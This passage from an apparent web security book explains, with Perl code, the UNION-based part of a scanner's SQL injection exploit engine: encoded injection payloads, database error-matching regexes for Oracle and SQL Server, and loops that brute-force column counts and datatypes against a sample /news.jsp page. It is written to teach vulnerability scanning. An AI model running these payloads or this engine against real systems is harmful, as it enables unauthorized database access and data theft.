To recap, we start by performing the initial single-quote test on the specific parameter at hand (sqlTest). If the value returned by sqlTest is not 0, we perform generic OR 1=1 testing against the injection point (sqlOrTest) to confirm that the injection point exists and is exploitable. If the sqlOrTest routine resulted in success, we inspect the exploit string it used to see if it ends in a double hyphen (required for blind routines). If a double hyphen was used, we attempt to perform blind column enumeration using the sqlBlindColumnTest subroutine. Based on the success or failure of the sqlBlindColumnTest routine, we attempt to perform blind datatype enumeration using the sqlBlindDataTypeTest subroutine.

At this point, we are still inside the if statement, indicating that sqlOrTest was successful, and we must decide whether we want to run the first of three error-based injection routines. We run the error-based test routines only if any of the following two criteria are met:

  • The $sqlColumnVuln variable is equal to 0 (meaning the blind column test either failed or was not performed).

  • The $sqlDataTypeVuln variable is not set to true (meaning the blind column datatype test either failed or was not performed).

To continue providing example execution, we will change some of the assumptions we are working under. Specifically, we will assume the Oracle instance we are attempting to exploit does not support the double-hyphen comment marker and that the application server returns detailed stack trace information in the event of an unhandled error.

Based on these new assumptions, the value of $sqlVuln is now 1. Additionally, the blind routines were not invoked based on the value that was returned by sqlOrTest (assigned to $sqlOrVuln):

1')%20OR%20('1'%3D'1


If either of these two conditions exists, we move into the error-based routines and call the first of three subroutines (sqlUnionTest):

       if (($sqlColumnVuln == 0) || ($sqlDataTypeVuln ne "true")) {
        $sqlUnionVuln = &sqlUnionTest;

The purpose of sqlUnionTest is to detect whether a UNION query is possible based on the error message the database server returns. In all three error-based subroutines, we look for the presence or absence of specific known error messages for each database type. To do this, first we must define those error messages for each supported database server. Essentially we are looking for three specific error messages (one in each subroutine).

The first of these messages is used to determine if a UNION query is possible given the exploit syntax. Most database servers (including Oracle and Microsoft SQL Server) verify that all tables you are running a query against in a UNION actually exist before they check to see if you have the right number of columns and datatypes. As such, a UNION query attempt to a nonexistent table typically generates an error indicating the table does not exist. The first error-based subroutine attempts to run a UNION query against a nonexistent table and checks to see if this specific error message is returned. This error message is also used to determine the type of database server we are exploiting because the error messages differ depending on the type of server being queried.

The second error message is used to determine whether the UNION query contains the correct number of columns. Once we attempt to query a valid table within the UNION query, the database should respond with an error indicating that our query must have the same number of columns as the original query. We attempt to brute-force the number of columns in the original query by continuing to add columns to the UNION query until this error goes away.

The third and last error message is used to determine the appropriate datatype in each column position. Once we have the right number of columns in our UNION query, the database server should return an error indicating that the datatypes in each column must match those in the original query. Our script proceeds to brute-force the correct datatype combination by attempting every possible combination of datatypes within the allotted number of columns.

Now that we know how the three error messages are used, we will develop a regular expression to identify each of them. Table 9-6 shows the actual message returned by both Oracle and SQL Server under each of the aforementioned scenarios.

Table 9-6. Microsoft SQL Server and Oracle error messages

Database server

Error type

Error message

Oracle

Invalid table in UNION (two possible messages)

Table or view does not existorInvalid table name

Incorrect number of columns in UNION

Query block has incorrect number of result columns.

Incorrect datatype in UNION

Expression must have same datatype as corresponding expression.

Microsoft SQL Server

Invalid table in UNION

Invalid object name.

Incorrect number of columns in UNION

All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.

Incorrect datatype in UNION (tHRee possible messages)

Error converting datatype nvarchar to floator Syntax error converting the nvarchar value '' to a column of datatype intor Operand type clash


The regular expressions used to identify each error message in Table 9-6 are included in the %databaseInfo hash used to store all database-specific information. We can add the following new hash members along with the original ones we included during the blind exploit test:

my %databaseInfo;

# MS-SQL
$databaseInfo{mssql}{tableName} = "MASTER\.\.SYSDATABASES";
$databaseInfo{mssql}{dataTypes} = ["CONVERT(VARCHAR,1)","CONVERT(INT,1)"];
$databaseInfo{mssql}{unionError} = qr /Invalid object name|Invalid table name/i;
$databaseInfo{mssql}{columnError} = qr /All queries in an? SQL statement containing/i;
$databaseInfo{mssql}{dataTypeError} = qr /error converting|Operand type clash/i;

# Oracle
$databaseInfo{oracle}{tableName} = "ALL_TABLES";
$databaseInfo{oracle}{dataTypes} = ["TO_CHAR(1)","TO_NUMBER(1)","TO_DATE('01','MM')"];
$databaseInfo{oracle}{unionError} = qr /table or view does not exist/i;
$databaseInfo{oracle}{columnError} = qr /incorrect number of result columns/i;
$databaseInfo{oracle}{dataTypeError} = qr /expression must have same datatype/i;

Now that we have defined the required error messages, we can look at the first subroutine (sqlUnionTest).

9.2.2.4 sqlUnionTest subroutine

The main purpose of this subroutine is to determine not only whether the UNION query is possible, but also the syntax for the query. Unlike the previous routines, sqlUnionTest does not rely on the exploit string generated by sqlOrTest to perform its testing. Instead, this subroutine attempts to construct a UNION exploit query from scratch. Because the sqlOrTest routine is primarily concerned with getting a query to run (not necessarily to return any data), it does not always take into account the potential impact that additional WHERE criteria appended to the injected data could have on the specific records returned by the query. The UNION test strings in this routine are specifically designed to allow all records from the UNION query to be returned, even if additional WHERE criteria are appended to the injected input. We begin this subroutine by defining an array of test strings used to determine whether the UNION query can be run:

sub sqlUnionTest {

 my @sqlUnionArray=(
  "1%20UNION%20ALL%20select%20FOO%20from%20BLAH--",
  "1'%20UNION%20ALL%20select%20FOO%20from%20BLAH--",
  "1\)%20UNION%20ALL%20select%20FOO%20from%20BLAH--",
  "1'\)%20UNION%20ALL%20select%20FOO%20from%20BLAH--",
  "1\)\)%20UNION%20ALL%20select%20FOO%20from%20BLAH--",
  "1'\)\)%20UNION%20ALL%20select%20FOO%20from%20BLAH--",
  "1\)\)\)%20UNION%20ALL%20select%20FOO%20from%20BLAH--",
  "1'\)\)\)%20UNION%20ALL%20select%20FOO%20from%20BLAH--",
  "1%20UNION%20ALL%20select%20FOO%20from%20BLAH",
  "1'%20UNION%20ALL%20select%20FOO%20from%20BLAH",
  "1%20UNION%20ALL%20select%20FOO%20from%20BLAH%20where%201%3D1",
  "1'%20UNION%20ALL%20select%20FOO%20from%20BLAH%20where%20'1'%3D'1",
  "1\)%20UNION%20ALL%20select%20FOO%20from%20BLAH%20where%201%3D1%20OR\(1%3D1",
  "1'\)%20UNION%20ALL%20select%20FOO%20from%20BLAH%20where%20'1'%3D'1'%20OR\
     ('1'%3D
'1",
  "1\)\)%20UNION%20ALL%20select%20FOO%20from%20BLAH%20where%201%3D1%20OR\(\(1%3D1",
  "1'\)\)%20UNION%20ALL%20select%20FOO%20from%20BLAH%20where%20'1'%3D'1'%20OR\(\
     ('1
'%3D'1",
  "1\)\)\)%20UNION%20ALL%20select%20FOO%20from%20BLAH%20where%201%3D1%20OR\(\(\
     (1%3
D1",   
  "1'\)\)\)%20UNION%20ALL%20select%20FOO%20from%20BLAH%20where%20'1'%3D'1'%20OR\(\(
\('1'%3D'1"
 );

Next, we declare the $sqlUnionSuccess variable in the same manner as we did the blind routines. This variable ultimately is used to determine whether the test was successful, so we declare it with a value of false. Then we move right into a for loop on the @sqlUnionArray array, where we cycle through each UNION test string and use $paramRequest to make a test request containing the test string in lieu of the placeholder value:

foreach my $sqlUnion (@sqlUnionArray) {
  if ($sqlUnionSuccess eq "false") {

   # Replace the "---PLACEHOLDER---" string with our test string
   my $sqlUnionTest = $paramRequest;
   $sqlUnionTest =~ s/---PLACEHOLDER---/$sqlUnion/;

   # Make the request and get the response data
   my ($sqlUnionStatus, $sqlUnionResults) = makeRequest($sqlUnionTest);

Before each loop iteration we check to make sure $sqlUnionSuccess is still equal to false. After each request, we perform a nested loop through each key in the %databaseInfo hash (essentially each database type) and inspect the test response to determine if it contains the unionError message defined for the key:

   foreach my $dbType (keys %databaseInfo) { 
    if ($sqlUnionResults =~ $databaseInfo{$dbType}{unionError}) {
     $sqlUnion =~ s/BLAH/$databaseInfo{$dbType}{tableName}/;
     $sqlDbType = $dbType;
     $sqlUnionSuccess = $sqlUnion;
    }

As shown in the preceding code, if the specified regular expression for a given database matches the response, we replace the table name from the UNION test request (BLAH) with the appropriate test table name from the %databaseInfo hash, assign the current key value ($dbType) to the $sqlDbType variable (indicating that we have successfully identified the database), and update $sqlUnionSuccess to reflect the value of the new, well-formed UNION test request. Finally, we close out all our open loops, return the $sqlUnionSuccess variable, and exit the subroutine:

   }
  }
 }
 return $sqlUnionSuccess;
}

Table 9-7 lists example requests made by this subroutine.

Table 9-7. Example requests made by sqlUnionTest

Test request

Result

GET /news.jsp?id=1%20UNION%20ALL%20select%20FOO%20 from%20BLAH--&view=F

General database error message

GET /news.jsp?id=1'%20UNION%20ALL%20select%20FOO%20 from%20BLAH--&view=F

General database error message

GET /news.jsp?id=1)%20UNION%20ALL%20select%20FOO%20 from%20BLAH--&view=F

General database error message

GET /news.jsp?id=1')%20UNION%20ALL%20select%20FOO%20 from%20BLAH--&view=F

General database error message

GET /news.jsp?id=1))%20UNION%20ALL%20select%20FOO%20 from%20BLAH--&view=F

General database error message

GET /news.jsp?id=1'))%20UNION%20ALL%20select%20FOO%20 from%20BLAH--&view=F

General database error message

GET /news.jsp?id=1)))%20UNION%20ALL%20select%20FOO%20 from%20BLAH--&view=F

General database error message

GET /news.jsp?id=1')))%20UNION%20ALL%20select%20FOO%20 from%20BLAH--&view=F

General database error message

GET /news.jsp?id=1%20UNION%20ALL%20select%20FOO %20from%20BLAH&view=F

General database error message

GET /news.jsp?id=1'%20UNION%20ALL%20select%20FOO %20from%20BLAH&view=F

General database error message

GET /news.jsp?id=1%20UNION%20ALL%20select%20FOO %20from%20BLAH%20where%201%3D1&view=F

General database error message

GET /news.jsp?id=1'%20UNION%20ALL%20select%20FOO %20from%20BLAH%20where%20'1'%3D'1&view=F

General database error message

GET /news.jsp?id=1)%20UNION%20ALL%20select%20FOO %20from%20BLAH%20where%201%3D1%20OR
(1%3D1& view=F

General database error message

GET /news.jsp?id=1')%20UNION%20ALL%20select%20FOO %20from%20BLAH%20where%20'1'%3D'1'%20OR('1'%3D'1 &view=F

Oracle UNION error message


Once the routine exits, we move back up to the main script body and continue processing the test request. A check is performed against the $sqlUnionVuln variable to determine if the sqlUnionTest routine was successful. If so, we check to see if we have already enumerated the number of columns for the UNION query (previously done using sqlBlindColumnTest). This scenario occurs if the database server does not support null values in UNION statements (such as in older versions of Oracle) but still allows for column enumeration using the ORDER BY method (used by sqlBlindColumnTest):

        if ($sqlUnionVuln ne "false") {
         if ($sqlColumnVuln == 0) {
          $sqlColumnVuln = &sqlColumnTest;

If the $sqlUnionVuln value is not set to false and $sqlColumnVuln is set to 0, the second of our three error-based injection routines (sqlColumnTest) is called.

9.2.2.5 sqlColumnTest subroutine

As you have probably figured out, you use this routine to enumerate the number of columns in the SQL query. Although this subroutine's intent is very similar to that of sqlBlindColumnTest, its approach is a bit different. Instead of using the ORDER BY technique, this routine uses the UNION test request obtained by sqlUnionTest (assigned to $sqlUnionVuln) and inserts literal blank values ('') into each UNION query column. The routine starts with a one-column request and continues to make additional requests until the correct number of columns is added.

Upon entering the subroutine, we declare a column counter variable (initially set at 0), and a success variable (initially declared with a value of false), just as in the previous subroutines:

sub sqlColumnTest {
 my $sqlNumCols = 0;
 my $sqlColumnSuccess = "false";

Next, we move right into the testing loop. First the loop constructs a skeleton of the UNION request by substituting the placeholder value in $paramRequest with the exploit string used by sqlUnionTest (assigned to $sqlUnionVuln):

do {
  my $sqlColumnTest = $paramRequest;
  $sqlColumnTest =~ s/---PLACEHOLDER---/$sqlUnionVuln/;

Next, the UNION query field list (FOO) is replaced with a series of literal blank values (two consecutive single quotes). These are essentially placeholders similar to the "null" strings used in sqlBlindDataTypeTest, but are considered string values by most database servers. These values should ultimately cause a datatype mismatch error once we get the correct number of columns. The number of column placeholders depends on the value of our column counter variable ($sqlNumCols), which starts at zero (resulting in one column) and increments by one on every loop:

  my $sqlColumnTestString = "%27%27".(",%27%27" x $sqlNumCols); 
  $sqlColumnTest =~ s/FOO/$sqlColumnTestString/;

Once the test request is made, the response is analyzed for the presence of the columnError message for our specific database:

  # Make the request and get the response data
  my ($sqlColumnStatus, $sqlColumnResults) = makeRequest($sqlColumnTest);
      
  if ($sqlColumnResults !~ $databaseInfo{$sqlDbType}{columnError})  {
   $sqlColumnSuccess = $sqlColumnTest;
  }
  $sqlNumCols++;
 } until (($sqlColumnSuccess ne "false") || ($sqlNumCols > 200));

As shown in the preceding code, if the error is present, the loop continues because the $sqlColumnSuccess variable remains set to false. The loop continues until the $sqlColumnSuccess variable is no longer set to false (when the error is not present), or if the column counter ($sq1NumCols) exceeds 200. We set the limit of 200 columns just as we did with blind column testing because a number this large would be a good indication that something else is preventing the query from running. Once the error condition is absent, the script assumes it has obtained the correct number of columns and updates the value of $sqlColumnSuccess.

After the loop completes, a check is made to determine if $sqlColumnSuccess is set to false. If it isn't, the current value of the column counter ($sqlNumCols) is returned; otherwise, the routine returns a value of 0, indicating failure. Note that although the counter variable ($sqlNumCols) is typically one less than the actual number of columns being tested, we incremented this variable value after the last response. Once incremented, the variable value is equal to the actual number of columns tested in the previous loop:

if ($sqlColumnSuccess ne "false") {
  return $sqlNumCols;
 } else {
  return 0;
 }
}

Returning to our main script body, we are ready to call the final error-based testing routine. First, we must close the conditional if statement that checks to see if the number of columns was already obtained. Next, we check the value of $sqlColumnVuln to verify that we have obtained the correct number of columns for the UNION query:

         }
         if ($sqlColumnVuln != 0) {
          $sqlDataTypeVuln = &sqlDataTypeTest;

Provided that the value of $sqlColumnVuln is not 0, we to call sqlDataTypeTest to brute-force the correct datatype combination for the UNION query.

9.2.2.6 sqlDataTypeTest subroutine

The final step in our error-based UNION exploit is to brute-force the correct datatype necessary for each column of the query. We open this subroutine just as we did the others by declaring the success variable with an initial value of false:

sub sqlDataTypeTest {
 my $sqlDataTypeSuccess = "false";

Before we begin to actually brute-force the datatypes, we must consider the number of possible attempts we might end up making here. This routine attempts to make one request for every possible combination of datatypes (included in the %databaseInfo hash for the identified database server) until it obtains the correct combination. Although this might not take very long on a query containing five columns, we must realize that as we add columns to our query the number of potential datatype combinations grows at an exponential rate. This has tremendous time implications for our scanner because it is not multithreaded.

The total number of possible datatype combinations for a given query is the number of different datatypes raised to the number of columns in the query. For example, for a 12-column query using three different datatypes (Oracle in our case), the number of possible combinations is 531,441. If our scanner averages two requests per second, it could take more than three days to brute-force the query.


To address the timing issue, we define an upper limit on the number of query columns that our script attempts to brute-force. If this limit is reached, we are still made aware of the vulnerability and can decide to either pursue the exploit manually or adjust the limit and rerun the script. We have initially set the upper column limit at eight columns. Provided that our limit has not been exceeded by the query, we then must generate the list of possible datatype combinations. For this we have actually developed a dedicated subroutine that returns an array containing every possible datatype combination for the identified database using the number of columns in our query. The subroutine is used to populate the @sqlDataTypeDictionary array that is used to perform our testing:

 if ($sqlColumnVuln <= 8) {
  my @sqlDataTypeDictionary = genRecurse( );

The subroutine used to generate the array (genRecurse) is a recursive subroutine that iterates through every possible datatype combination. The subroutine is quite short and is shown here in its entirety:

sub genRecurse {
 my $dd = shift;
 my @seq = @_;
 if ($dd >= $sqlColumnVuln) {
  my $combo = join(",", @seq);
  push (@dtCombinations, $combo);
 } else {
  foreach my $subReq (@{$databaseInfo{$sqlDbType}{dataTypes}}) {
   genRecurse($dd + 1, @seq, $subReq);
  }
 }
 return @dtCombinations;
}

You can see that the genRecurse subroutine recursively loops through each member of the %databaseInfo dataTypes element. All unique datatype combinations are joined with commas and are added to the @dtCombinations array (returned by the subroutine).

Going back to sqlDataTypeTest, we declare a counter variable ($sqlDictionaryPos) to keep track of which array position within @sqlDataTypeDictionary we are currently testing. We do this to avoid performing a for loop on every array member because the array could be quite large and we might actually get the right datatype combination early on in the list:

  my $sqlDictionaryPos = 0;

Once we begin the loop, we use the same technique used by sqlColumnTest to build the skeleton of the request based on the value of $sqlUnionVuln. Then we replace the column value (FOO) with the current member of the @sqlDataTypeDictionary array (defined by the current $sqlDictionaryPos value) and make the request:

  do {    
   my $sqlDataTypeTest = $paramRequest;
   $sqlDataTypeTest =~ s/---PLACEHOLDER---/$sqlUnionVuln/;
   $sqlDataTypeTest =~ s/FOO/$sqlDataTypeDictionary[$sqlDictionaryPos]/;
   my ($sqlDataTypeStatus, $sqlDataTypeResults) = makeRequest($sqlDataTypeTest);

Once the request has been made, we inspect the response using the dataTypeError regular expression element defined for our database in the %databaseInfo hash. If the error is present, we increment our counter variable ($sqlDictionaryPos) and continue testing. If the error is not present, we assume the datatype combination was correct and update the success variable ($sqlDataTypeSuccess) in addition to notifying the user:

   if ($sqlDataTypeResults !~ $databaseInfo{$sqlDbType}{dataTypeError}) {
    $sqlDataTypeSuccess = $sqlDataTypeTest;
    printReport("\n\nALERT: Possible SQL Injection Exploit:\n=> $sqlDataTypeTest\n\n");
   }
   $sqlDictionaryPos++;
  } until (($sqlDataTypeSuccess ne "false") || ($sqlDictionaryPos >= $#sqlDataTypeDictionary + 1));

As shown in the preceding code, the loop runs until the success variable is updated or the counter variable reaches the last member of the @sqlDataTypeDictionary array (meaning we have reached the end of the array with no success). Because this is the final subroutine of the exploit engine, we close the subroutine without returning a value:

 }
 else 
   printReport("\n\nALERT: SQL column limit exceeded ($sqlColumnVuln)\n\n");
 }
}

At this point, let's return to our main script body to close out all the existing SQL-related logic and proceed to the next parameter-based test. Here is the entire parameter-based control logic:

     ## Perform input validation tests
     $sqlVuln = &sqlTest;
     if ($sqlVuln != 0) {
      $sqlOrVuln = &sqlOrTest;
      if ($sqlOrVuln ne "false") {
       $sqlColumnVuln = 0;
       $sqlDataTypeVuln = "false";
       if ($sqlOrVuln =~ /--$/) {
        $sqlColumnVuln = &sqlBlindColumnTest;
        if ($sqlColumnVuln != 0) {
         $sqlDataTypeVuln = &sqlBlindDataTypeTest;
        }
       }
       if (($sqlColumnVuln == 0) || ($sqlDataTypeVuln ne "true")) {
        $sqlUnionVuln = &sqlUnionTest;
        if ($sqlUnionVuln ne "false") {
         if ($sqlColumnVuln == 0) {
          $sqlColumnVuln = &sqlColumnTest;
         }
         if ($sqlColumnVuln != 0) {
          $sqlDataTypeVuln = &sqlDataTypeTest;
         }
        }
       }
      }
     }
     my $xssVuln = xssTest($paramRequest);

Now the script continues to perform additional tests we had in the previous scanner, such as XSS (the only other parameter-based test) and the directory-based testing routines.

    Team LiB
    Previous Section Next Section